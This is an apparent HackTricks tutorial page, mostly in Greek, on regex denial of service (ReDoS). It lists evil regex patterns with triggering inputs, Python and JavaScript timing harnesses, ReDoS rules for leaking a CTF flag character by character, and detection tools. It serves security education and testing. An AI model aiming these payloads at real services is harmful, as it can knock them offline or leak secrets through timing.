Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) συμβαίνει όταν κάποιος εκμεταλλεύεται αδυναμίες στον τρόπο που λειτουργούν οι regular expressions (ένας τρόπος για αναζήτηση και αντιστοίχιση προτύπων σε κείμενο). Μερικές φορές, όταν χρησιμοποιούνται regular expressions, μπορούν να γίνουν πολύ αργές, ειδικά αν το κομμάτι του κειμένου με το οποίο δουλεύουν μεγαλώνει. Αυτή η καθυστέρηση μπορεί να γίνει τόσο μεγάλη που αυξάνεται πολύ γρήγορα ακόμη και με μικρές αυξήσεις στο μέγεθος του κειμένου. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το πρόβλημα για να κάνουν ένα πρόγραμμα που χρησιμοποιεί regular expressions να μην λειτουργεί σωστά για μεγάλο χρονικό διάστημα.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • Οι πιο δημοφιλείς engines (PCRE, Java java.util.regex, Python re, JavaScript RegExp) χρησιμοποιούν μια VM με backtracking. Ειδικά κατασκευασμένα inputs που δημιουργούν πολλούς επικαλυπτόμενους τρόπους για να ταιριάξει ένα υποπρότυπο αναγκάζουν εκθετικό ή υψηλού βαθμού πολυωνυμικό backtracking.
  • Ορισμένες engines/βιβλιοθήκες είναι σχεδιασμένες να είναι ReDoS-resilient εκ κατασκευής (χωρίς backtracking), π.χ. RE2 και ports βασισμένα σε finite automata που παρέχουν γραμμικό χρόνο στη χειρότερη περίπτωση. Η χρήση τους για μη αξιόπιστο input αφαιρεί την primitive DoS μέθοδο μέσω backtracking. Δείτε τις αναφορές στο τέλος για λεπτομέρειες.

Evil Regexes

Ένα evil regular expression pattern είναι αυτό που μπορεί να κολλήσει σε κατασκευασμένο input προκαλώντας DoS. Τα evil regex patterns συνήθως περιέχουν ομαδοποίηση με επανάληψη και επανάληψη ή εναλλαγή με επικαλύψεις μέσα στην επαναλαμβανόμενη ομάδα. Ορισμένα παραδείγματα evil patterns περιλαμβάνουν:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

All those are vulnerable to the input aaaaaaaaaaaaaaaaaaaaaaaa!.

Practical recipe to build PoCs

Οι περισσότερες καταστροφικές περιπτώσεις ακολουθούν αυτή τη μορφή:

  • Πρόθεμα που σε οδηγεί στο ευάλωτο υποπρότυπο (προαιρετικό).
  • Μακρύ τμήμα ενός χαρακτήρα που προκαλεί αμφιθυμίες στις αντιστοιχίσεις μέσα σε εμφωλευμένους/επικαλυπτόμενους quantifiers (π.χ., πολλά a, _, ή κενά).
  • Ένας τελικός χαρακτήρας που επιβάλλει συνολική αποτυχία ώστε η engine να πρέπει να κάνει backtrack μέσα από όλες τις πιθανότητες (συχνά ένας χαρακτήρας που δεν θα ταιριάξει με το τελευταίο token, όπως !).

Μικρά παραδείγματα:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Αυξήστε το N και παρατηρήστε υπερ-γραμμική αύξηση.

Quick timing harness (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

Σε ένα CTF (ή bug bounty) ίσως εσύ ελέγχεις το Regex με το οποίο ταιριάζει μια ευαίσθητη πληροφορία (το flag). Τότε, μπορεί να είναι χρήσιμο να προκαλέσεις το πάγωμα της σελίδας (timeout or longer processing time) όταν το Regex matched και όχι αν δεν matched. Με αυτόν τον τρόπο θα μπορέσεις να exfiltrate τη συμβολοσειρά χαρακτήρα-χαρακτήρα:

  • In this post you can find this ReDoS rule: ^(?=<flag>)((.*)*)*salt$
  • Example: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup you can find this one:<flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Τα παρακάτω είναι παραδείγματα ReDoS όπου εσύ ελέγχεις και το input και το regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Σημειώσεις γλώσσας/μηχανής για επιτιθέμενους

  • JavaScript (browser/Node): Ο ενσωματωμένος RegExp είναι μηχανή backtracking και συχνά εκμεταλλεύσιμο όταν το regex+input επηρεάζονται από επιτιθέμενους.
  • Python: re είναι backtracking. Μακρές αμφίσημες ακολουθίες μαζί με μια αποτυγχάνουσα ουρά συχνά οδηγούν σε καταστροφικό backtracking.
  • Java: java.util.regex είναι backtracking. Αν ελέγχετε μόνο το input, ψάξτε για endpoints που χρησιμοποιούν σύνθετους validators· αν ελέγχετε patterns (π.χ. αποθηκευμένους κανόνες), το ReDoS είναι συνήθως απλό.
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. Αν πέσετε πάνω σε αυτά, εστιάστε σε άλλα σημεία συμφόρησης (π.χ. τεράστια patterns) ή βρείτε components που εξακολουθούν να χρησιμοποιούν backtracking engines.

Tools

  • https://github.com/doyensec/regexploit
  • Εντοπίστε ευάλωτα regexes και δημιουργήστε αυτόματα evil inputs. Παραδείγματα:
  • pip install regexploit
  • Αναλύστε ένα pattern διαδραστικά: regexploit
  • Σκανάρετε Python/JS κώδικα για regexes: regexploit-py path/ and regexploit-js path/
  • https://devina.io/redos-checker
  • https://github.com/davisjam/vuln-regex-detector
  • End‑to‑end pipeline για να εξάγετε regexes από ένα project, να εντοπίσετε ευάλωτα και να επικυρώσετε PoCs στη γλώσσα στόχο. Χρήσιμο για κυνήγι σε μεγάλα codebases.
  • https://github.com/tjenkinson/redos-detector
  • Απλό CLI/JS library που αναλύει backtracking για να αναφέρει αν ένα pattern είναι ασφαλές.

Tip: Όταν ελέγχετε μόνο το input, δημιουργήστε strings με διπλασιαζόμενα μήκη (π.χ., 2^k χαρακτήρες) και παρακολουθήστε την καθυστέρηση. Η εκθετική αύξηση δείχνει έντονα ένα εφικτό ReDoS.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks